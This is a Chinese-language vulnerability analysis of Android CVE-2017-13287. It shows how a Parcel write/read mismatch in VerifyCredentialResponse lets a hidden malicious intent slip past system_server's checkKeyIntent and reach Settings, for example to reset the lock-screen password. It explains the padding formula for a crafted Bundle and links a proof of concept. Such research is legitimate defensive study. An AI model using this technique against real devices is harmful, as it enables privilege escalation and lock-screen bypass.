译文仅供参考，具体内容表达以及含义原文为准。
2018年4月，Android安全公告公布了CVE-2017-13287漏洞。与同期披露的其他漏洞一起，同属于框架中Parcelable对象的写入(序列化)与读出(反序列化)的不一致所造成的漏洞。在刚看到谷歌对于漏洞给出的[补丁](https://android.googlesource.com/platform/frameworks/base/+/09ba8fdffd9c8d74fdc6bfb51bcebc27fc43884a%5E%21/)时一头雾水，
在这里要感谢heeeeen[@MS509Team](https://github.com/MS509Team
"@MS509Team")在这个问题上的成果，启发了我的进一步研究。
## 原理
谷歌在Android中提供了Parcelable作为高效的序列化实现，用来支持IPC调用中多样的对象传递需求。但是序列化和反序列化的过程依旧依靠程序员编写的代码进行同步。那么当不同步的时候，漏洞就产生了。
### Bundle
传输的时候Parcelable对象按照键值对的形式存储在Bundle内，Bundle内部有一个ArrayMap用hash表进行管理。反序列化过程如下：
/* package */ void unparcel() {
synchronized (this) {
final Parcel parcelledData = mParcelledData;
int N = parcelledData.readInt();
if (N < 0) {
return;
}
ArrayMap<String, Object> map = mMap;
try {
parcelledData.readArrayMapInternal(map, N, mClassLoader);
} catch (BadParcelableException e) {
} finally {
mMap = map;
parcelledData.recycle();
mParcelledData = null;
}
}
}
首先读取一个int指示里面有多少对键值对。
/* package */ void readArrayMapInternal(ArrayMap outVal, int N,
ClassLoader loader) {
if (DEBUG_ARRAY_MAP) {
RuntimeException here = new RuntimeException("here");
here.fillInStackTrace();
Log.d(TAG, "Reading " + N + " ArrayMap entries", here);
}
int startPos;
while (N > 0) {
if (DEBUG_ARRAY_MAP) startPos = dataPosition();
String key = readString();
Object value = readValue(loader);
outVal.append(key, value);
N--;
}
outVal.validate();
}
之后的每一对先是Key的字符串，然后是对应的Value。
public final Object readValue(ClassLoader loader) {
int type = readInt();
switch (type) {
case VAL_NULL:
return null;
case VAL_STRING:
return readString();
case VAL_INTEGER:
return readInt();
case VAL_MAP:
return readHashMap(loader);
case VAL_PARCELABLE:
return readParcelable(loader);
case VAL_SHORT:
return (short) readInt();
case VAL_LONG:
return readLong();
值内部先是一个int指示值的类型，再存储实际值。
当Bundle被写入Parcel时：
void writeToParcelInner(Parcel parcel, int flags) {
final ArrayMap<String, Object> map;
synchronized (this) {
if (mParcelledData != null) {
if (mParcelledData == NoImagePreloadHolder.EMPTY_PARCEL) {
parcel.writeInt(0);
} else {
int length = mParcelledData.dataSize();
parcel.writeInt(length);
parcel.writeInt(BUNDLE_MAGIC);
parcel.appendFrom(mParcelledData, 0, length);
}
return;
}
map = mMap;
}
}
先写入Bundle总共的字节数，再写入魔数，之后是指示键值对数的N，还有相应的键值对。
### LaunchAnyWhere
弄明白Bundle的内部结构后，先来看看漏洞触发的地方：
这个流程是AppA在请求添加一个帐号：
1. AppA请求添加一个帐号
2. System_server接受到请求，找到可以提供帐号服务的AppB，并发起请求
3. AppB返回了一个Bundle给系统，系统把Bundle转发给AppA
4. AccountManagerResponse在AppA的进程空间中调用startActivity(intent)调起一个Activity。
在第4步中，如果AppA的权限较高，比如Settings，那么AppA可以调用正常App无法调用的未导出Activity。
并且在第3步中，AppB提供的Bundle在system_server端被反序列化，之后system_server根据之前得到的内容再序列化并传递给AppA。那么如果对应的传递内容的序列化和反序列化代码不一样，就会影响到自己以及之后的内容的结果。
传递的Bundle对象中包含一个重要键值对`{KEY_INTENT:intent}`，指定了AppA稍后调用的Activity。如果这个被指定成Setting中的`com.android.settings.password.ChooseLockPassword`,就可以在不需要原本锁屏密码的情况下重新设置锁屏密码。
谷歌在这个过程中进行了检查，保证Intent中包含的Activity所属的签名和AppB一致，并且不是未导出的系统Actiivity。
protected void checkKeyIntent(int authUid, Intent intent) throws SecurityException {
long bid = Binder.clearCallingIdentity();
try {
PackageManager pm = mContext.getPackageManager();
ResolveInfo resolveInfo = pm.resolveActivityAsUser(intent, 0, mAccounts.userId);
ActivityInfo targetActivityInfo = resolveInfo.activityInfo;
int targetUid = targetActivityInfo.applicationInfo.uid;
if (!isExportedSystemActivity(targetActivityInfo)
&& (PackageManager.SIGNATURE_MATCH != pm.checkSignatures(authUid, targetUid))) {
String pkgName = targetActivityInfo.packageName;
String activityName = targetActivityInfo.name;
String tmpl = "KEY_INTENT resolved to an Activity (%s) in a package (%s) that "
+ "does not share a signature with the supplying authenticator (%s).";
throw new SecurityException(
String.format(tmpl, activityName, pkgName, mAccountType));
}
} finally {
Binder.restoreCallingIdentity(bid);
}
}
攻击思路便是在system_server进行检查时Bundle中的恶意`{KEY_INTENT:intent}`看不到，但是在重新序列化之后在`Setting`出现，这样就绕过了检查。
## 利用
首先来看看漏洞所在的代码
public static final Parcelable.Creator<VerifyCredentialResponse> CREATOR
= new Parcelable.Creator<VerifyCredentialResponse>() {
@Override
public VerifyCredentialResponse createFromParcel(Parcel source) {
int responseCode = source.readInt();
VerifyCredentialResponse response = new VerifyCredentialResponse(responseCode, 0, null);
if (responseCode == RESPONSE_RETRY) {
response.setTimeout(source.readInt());
} else if (responseCode == RESPONSE_OK) {
int size = source.readInt();
if (size > 0) {
byte[] payload = new byte[size];
source.readByteArray(payload);
response.setPayload(payload);
}
}
return response;
}
@Override
public VerifyCredentialResponse[] newArray(int size) {
return new VerifyCredentialResponse[size];
}
};
@Override
public void writeToParcel(Parcel dest, int flags) {
dest.writeInt(mResponseCode);
if (mResponseCode == RESPONSE_RETRY) {
dest.writeInt(mTimeout);
} else if (mResponseCode == RESPONSE_OK) {
if (mPayload != null) {
dest.writeInt(mPayload.length);
dest.writeByteArray(mPayload);
}
}
}
仔细阅读，会发现在`mResponseCode`为`RESPONSE_OK`时，如果`mPayload`为`null`，那么`writeToParcel`不会在末尾写入0来正确的指示`Payload`部分的长度。而在`createFromParcel`中是需要`readInt`来获知的，这个就带来了序列化与反序列化过程的不一致。可以通过精心构造的payload来绕过检查。
**难点在于和已经有人公开过的CVE-2017-13288和CVE-2017-13315不同，它们是重新序列化之后会多出来4个字节。这里是重新序列化之后会少4个字节。**
### 解决方案
利用String的结构，把恶意intent隐藏在String里。上图每段注释的括号里写了其所占用的字节数。
在第一次反序列化时，`VerifyCredentialResponse`内部的0还在，恶意intent被包装在第二对的Key中。第二对的值的类型被制定为`VAL_NULL`，也就是什么都没有，常量值为-1。
再次序列化时`writeToParcel`没有`writeInt(0)`，所以到达Setting的Bundle在`RESPONSE_OK`之后没有0，原本的`String
length`被视作`payload length`，调用`readByteArray`读取。
static jbyteArray android_os_Parcel_createByteArray(JNIEnv* env, jclass clazz, jlong nativePtr)
{
jbyteArray ret = NULL;
Parcel* parcel = reinterpret_cast<Parcel*>(nativePtr);
if (parcel != NULL) {
int32_t len = parcel->readInt32();
// sanity check the stored length against the true data size
if (len >= 0 && len <= (int32_t)parcel->dataAvail()) {
ret = env->NewByteArray(len);
if (ret != NULL) {
jbyte* a2 = (jbyte*)env->GetPrimitiveArrayCritical(ret, 0);
if (a2) {
const void* data = parcel->readInplace(len);
memcpy(a2, data, len);
env->ReleasePrimitiveArrayCritical(ret, a2, 0);
}
}
}
}
return ret;
}
再次调用`readInt32`读取长度，之后截取数组内容。相应的从`Payload
length`开始的指定长度的内容都被视作payload。只要设置得当，恶意intent就会显露出来成为实质上的第二对键值对。
那么之前作为第二对值的`VAL_NULL`怎么办？之前提过它的常量值是-1，上一对恶意intent刚结束，在这里调用的是`readString`这个函数。
const char16_t* Parcel::readString16Inplace(size_t* outLen) const
{
int32_t size = readInt32();
// watch for potential int overflow from size+1
if (size >= 0 && size < INT32_MAX) {
*outLen = size;
const char16_t* str = (const char16_t*)readInplace((size+1)*sizeof(char16_t));
if (str != NULL) {
return str;
}
}
*outLen = 0;
return NULL;
}
再次的`readInt32`，得到-1,直接返回null，长度为0,会在JNI层中创建一个空字符串返回到java层。那么就是说：`VAL_NULL`单独作为一个空字符串被读取，之后的三个蓝色块被视作值。
这里因为之后的字符串是`123456`，所以`string_length`是6.
这个很关键，因为在`Settings`这里被`readValue`视作`type`，而6正好是`VAL_STRING`，也即字符串类型。于是`ord('1')=
0x31`被视作`String length`正常使用，正常读取字符串。
至此`Settings`侧正常读取完毕，恶意intent被读取并执行。
### 假String的构造
之前略过了包含恶意intent的假String的具体padding过程，这里展开：
> String_length(4) + Payload_length(4) + PADDING(Size + 16) +
> EVIL_INTENT(Size) + PADDING(8)
> String_length = Payload_length = (4 + 4 + Size + 16 + Size + 8) / 2 – 1 =
> Size + 15
这里先给出公式，`Size`在这里就是`Evil_intent`部分的长度，`String_length`和`Payload_length`在`Setting`侧都被视作payload的长度使用，故相同。
从两个视角去审视这个公式：
1. system_server侧
对于`system_server`来说，从`String_length`开始的部分就是单纯的一个字符串，那么它先读取`String_length`并套用`readString16Inplace`中的公式。它会从`String_length`之后读取$
2(1 + Size + 15)=2Size + 32 $，正好包括总长。
2. Settings侧
对于Settings来说，从`Payload_length`之后会直接截取对应长度的内容作为数组，即`Payload_length`之后$Size +
15$，因为`Parcel`底层的操作对4向上凑整，所以正好露出`EVIL_INTENT`。
这样就可以达成效果。
## 结果
POC: <https://github.com/FXTi/CVE201713287POC>
## 总结
在IPC这块就算谷歌引入了AIDL这种方式来规定接口，哪怕只是中间所用到的类的序列化过程出现一点失误都会造成如此严重的漏洞。可见安全编程以及代码审计的必要性，没准以后还会有类似机理的漏洞被发掘出来。 | 社区文章 |
Subsets and Splits